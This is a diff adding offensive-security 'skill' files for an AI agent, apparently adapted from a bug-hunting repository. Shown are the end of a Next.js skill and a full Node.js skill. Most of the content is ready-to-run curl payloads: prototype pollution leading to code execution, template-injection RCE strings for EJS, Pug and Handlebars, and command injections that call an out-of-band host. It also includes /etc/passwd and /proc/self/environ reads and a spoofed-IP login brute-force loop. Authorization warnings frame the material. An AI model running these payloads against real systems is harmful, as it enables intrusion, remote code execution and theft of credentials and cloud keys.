+ # Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
196
+ # and confirm the response was actually CACHED + served to a DIFFERENT client.
197
+ MARK="zqx$(date +%s)"
198
+ # 1) Poison with the marker
199
+ curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
200
+ # 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
201
+ # Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
202
+ # marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
203
+ curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
204
+
205
+ # On-demand revalidation endpoint (if exposed)
206
+ curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
207
+ curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
208
+ ```
209
+
210
+ ---
211
+
212
+ ## Phase 7 — Debug & Stack Frame Endpoints
213
+
214
+ **Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
215
+ are react-dev-overlay middleware mounted ONLY under `next dev`. A production
216
+ build (`next build && next start`) does not register these routes — a 404 here
217
+ is the normal, expected result, not a "filter" you need to bypass. They are
218
+ reachable ONLY in the rare misconfiguration of literally running `next dev` in
219
+ production. Treat any non-404 as the real finding; do NOT report a 404/filtered
220
+ response as confirmation.
221
+
222
+ ```bash
223
+ # First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
224
+ curl -s -o /dev/null -w "%{http_code}" \
225
+ "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
226
+
227
+ # Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
228
+ # reference local files (file-read surface of a dev server wrongly exposed)
229
+ curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
230
+ curl -s "https://$TARGET/__nextjs_original-stack-frame" \
231
+ --data '{"file":"/etc/passwd","line":1,"column":1}'
232
+ ```
233
+
234
+ ---
235
+
236
+ ## Phase 8 — Environment Variable Leakage
237
+
238
+ ```bash
239
+ # NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
240
+ curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
241
+ grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
242
+
243
+ # Check for non-public vars accidentally exposed
244
+ curl -s https://$TARGET/ | python3 -c "
245
+ import sys, re, json
246
+ m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
247
+ if m:
248
+ d = json.loads(m.group(1))
249
+ print(json.dumps(d.get('props', {}), indent=2))
250
+ "
251
+ ```
252
+
253
+ ---
254
+
255
+ ## Chain Table
256
+
257
+ | Next.js finding | Chain to | Impact |
258
+ |----------------|----------|--------|
259
+ | Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
260
+ | `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |
261
+ | `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |
262
+ | Middleware bypass | Protected admin routes | Auth bypass |
263
+ | Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
264
+ | `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |
265
+
266
+ ---
267
+
268
+ ## Validation
269
+
270
+ ✅ Server Action: action executes without valid session, returns data or mutates state
271
+ ✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF
272
+ ✅ Middleware bypass: 200 response on protected route without auth cookie
273
+ ✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII
274
+
275
+ **Severity:**
276
+ - Server Action auth bypass → data mutation: High/Critical
277
+ - Image SSRF → cloud metadata: Critical
278
+ - Middleware bypass → admin panel: High
279
+ - Source map exposure only: Low-Medium
280
+
281
+ ## When to Use
282
+
283
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
284
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
285
+
286
+ ## Limitations
287
+
288
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
289
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
290
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
291
+
292
+ ### Example
293
+
294
+ ```bash
295
+ # Read-only first step; confirm scope before anything active.
296
+ cat scope.txt # target list from the authorized engagement brief
297
+ ```
298
+
299
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
@@ -0,0 +1,263 @@
1
+ ---
2
+ name: hunt-nodejs
3
+ description: Hunt Node.js specific vulnerabilities
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: hackerone_public, snyk_research, portswigger_research
16
+ report_count: 24
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-NODEJS — Node.js Specific Vulnerabilities
33
+
34
+ ## Crown Jewel Targets
35
+
36
+ Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
37
+
38
+ **Highest-value chains:**
39
+ - **Prototype Pollution → RCE** — `__proto__` injection via `lodash.merge` / `Object.assign` → polluted prototype reaches `child_process.exec` or `vm.runInNewContext` sink
40
+ - **Express trust proxy** — `app.set('trust proxy', true)` without validation → attacker sets `X-Forwarded-For` to bypass IP allowlists or rate limits
41
+ - **EJS/Pug SSTI** — template engine receives user input → `{{= process.mainModule.require('child_process').execSync('id') }}`
42
+ - **`child_process` injection** — user input interpolated into shell command string → OS command injection
43
+ - **`require()` path traversal** — attacker-controlled module path → load arbitrary file as JS
44
+
45
+ ---
46
+
47
+ ## Attack Surface Signals
48
+
49
+ ```
50
+ X-Powered-By: Express Confirms Express.js
51
+ Node.js in error messages Runtime detected
52
+ package.json exposed Dependency list + versions
53
+ /proc/self/environ accessible Environment variable exfil
54
+ Error stack traces with .js paths Node.js confirmed
55
+ __proto__ in JSON accepted Prototype pollution candidate
56
+ ```
57
+
58
+ ---
59
+
60
+ ## Phase 1 — Fingerprint
61
+
62
+ ```bash
63
+ # Confirm Node.js/Express
64
+ curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"
65
+
66
+ # Check for package.json / node_modules exposure
67
+ curl -s "https://$TARGET/package.json"
68
+ curl -s "https://$TARGET/package-lock.json"
69
+ curl -s "https://$TARGET/node_modules/.package-lock.json"
70
+
71
+ # Error-based version detection
72
+ curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"
73
+ ```
74
+
75
+ ---
76
+
77
+ ## Phase 2 — Prototype Pollution Detection
78
+
79
+ ```bash
80
+ # JSON body injection — test if __proto__ is accepted
81
+ curl -s -X POST https://$TARGET/api/merge \
82
+ -H "Content-Type: application/json" \
83
+ -d '{"__proto__": {"polluted": "yes"}}'
84
+
85
+ # Constructor prototype
86
+ curl -s -X POST https://$TARGET/api/settings \
87
+ -H "Content-Type: application/json" \
88
+ -d '{"constructor": {"prototype": {"isAdmin": true}}}'
89
+
90
+ # URL query param injection (qs library)
91
+ curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
92
+ curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
93
+
94
+ # Confirm pollution: does a subsequent request reflect the polluted key?
95
+ curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"
96
+ ```
97
+
98
+ ---
99
+
100
+ ## Phase 3 — Prototype Pollution → RCE Chain
101
+
102
+ ```bash
103
+ # If pollution is confirmed, attempt to reach dangerous sinks
104
+
105
+ # Sink 1: child_process via options.shell pollution
106
+ curl -s -X POST https://$TARGET/api/update \
107
+ -H "Content-Type: application/json" \
108
+ -d '{
109
+ "__proto__": {
110
+ "shell": "node",
111
+ "NODE_OPTIONS": "--require /proc/self/fd/0",
112
+ "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
113
+ }
114
+ }'
115
+
116
+ # Sink 2: lodash template pollution (CVE-2021-23337)
117
+ curl -s -X POST https://$TARGET/api/render \
118
+ -H "Content-Type: application/json" \
119
+ -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'
120
+
121
+ # Sink 3: ejs template options pollution
122
+ # If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
123
+ curl -s -X POST https://$TARGET/api/template \
124
+ -H "Content-Type: application/json" \
125
+ -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'
126
+
127
+ # OOB confirmation — check Interactsh for callback
128
+ ```
129
+
130
+ ---
131
+
132
+ ## Phase 4 — Express Trust Proxy Abuse
133
+
134
+ ```bash
135
+ # If Express has trust proxy enabled, X-Forwarded-For is trusted
136
+ # Test: does spoofed IP bypass IP-based rate limiting or allowlist?
137
+
138
+ # Spoof IP to 127.0.0.1 (localhost bypass)
139
+ curl -s -X POST https://$TARGET/api/admin/action \
140
+ -H "X-Forwarded-For: 127.0.0.1" \
141
+ -H "Content-Type: application/json" \
142
+ -d '{"action": "test"}'
143
+
144
+ # Spoof to internal IP range
145
+ curl -s -X POST https://$TARGET/api/internal \
146
+ -H "X-Forwarded-For: 10.0.0.1" \
147
+ -H "X-Real-IP: 10.0.0.1"
148
+
149
+ # Rate limit bypass via rotating fake IPs
150
+ for i in $(seq 1 50); do
151
+ curl -s https://$TARGET/api/login \
152
+ -H "X-Forwarded-For: 1.2.3.$i" \
153
+ -d '{"email":"admin@test.com","password":"wrong"}' \
154
+ -o /dev/null -w "$i: %{http_code}\n"
155
+ done
156
+ ```
157
+
158
+ ---
159
+
160
+ ## Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
161
+
162
+ ```bash
163
+ # EJS SSTI — if user input reaches EJS template context
164
+ # Test basic: <%= 7*7 %> should return 49
165
+ curl -s -X POST https://$TARGET/api/render \
166
+ -H "Content-Type: application/json" \
167
+ -d '{"template": "<%= 7*7 %>"}'
168
+
169
+ # EJS RCE payload
170
+ curl -s -X POST https://$TARGET/api/render \
171
+ -H "Content-Type: application/json" \
172
+ -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'
173
+
174
+ # Pug SSTI
175
+ curl -s -X POST https://$TARGET/api/render \
176
+ -H "Content-Type: application/json" \
177
+ -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'
178
+
179
+ # Handlebars — prototype pollution via template
180
+ curl -s -X POST https://$TARGET/api/render \
181
+ -H "Content-Type: application/json" \
182
+ -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
183
+ ```
184
+
185
+ ---
186
+
187
+ ## Phase 6 — child_process Command Injection
188
+
189
+ ```bash
190
+ # Look for endpoints that run shell commands with user input
191
+ # Signals: /api/convert, /api/exec, /api/ping, /api/scan
192
+
193
+ # Basic injection test
194
+ curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
195
+ curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
196
+ curl -s -X POST https://$TARGET/api/exec \
197
+ -H "Content-Type: application/json" \
198
+ -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
199
+
200
+ # OOB via DNS
201
+ curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"
202
+ ```
203
+
204
+ ---
205
+
206
+ ## Phase 7 — /proc/self/environ Exfil
207
+
208
+ ```bash
209
+ # If LFI exists on Node.js app, /proc/self/environ leaks env vars
210
+ curl -s "https://$TARGET/api/file?path=/proc/self/environ"
211
+ curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
212
+
213
+ # Also check:
214
+ curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
215
+ curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
216
+ ```
217
+
218
+ ---
219
+
220
+ ## Chain Table
221
+
222
+ | Node.js finding | Chain to | Impact |
223
+ |----------------|----------|--------|
224
+ | Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
225
+ | Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
226
+ | SSTI in template engine | OS command execution | Critical RCE |
227
+ | child_process injection | `id && curl COLLAB_HOST` | Critical RCE |
228
+ | /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
229
+
230
+ ---
231
+
232
+ ## Validation
233
+
234
+ ✅ Prototype pollution: key appears in subsequent API responses without being sent
235
+ ✅ RCE chain: OOB callback received OR `id` output in response
236
+ ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
237
+
238
+ **Severity:**
239
+ - Prototype pollution → RCE: Critical
240
+ - SSTI → RCE: Critical
241
+ - child_process injection: Critical
242
+ - Trust proxy → rate limit bypass: Medium
243
+ - /proc/self/environ exfil: High (if cloud keys present)
244
+
245
+ ## When to Use
246
+
247
+ - You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
248
+ - You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
249
+
250
+ ## Limitations
251
+
252
+ - Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
253
+ - Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
254
+ - Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
255
+
256
+ ### Example
257
+
258
+ ```bash
259
+ # Read-only first step; confirm scope before anything active.
260
+ cat scope.txt # target list from the authorized engagement brief
261
+ ```
262
+
263
+ > Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.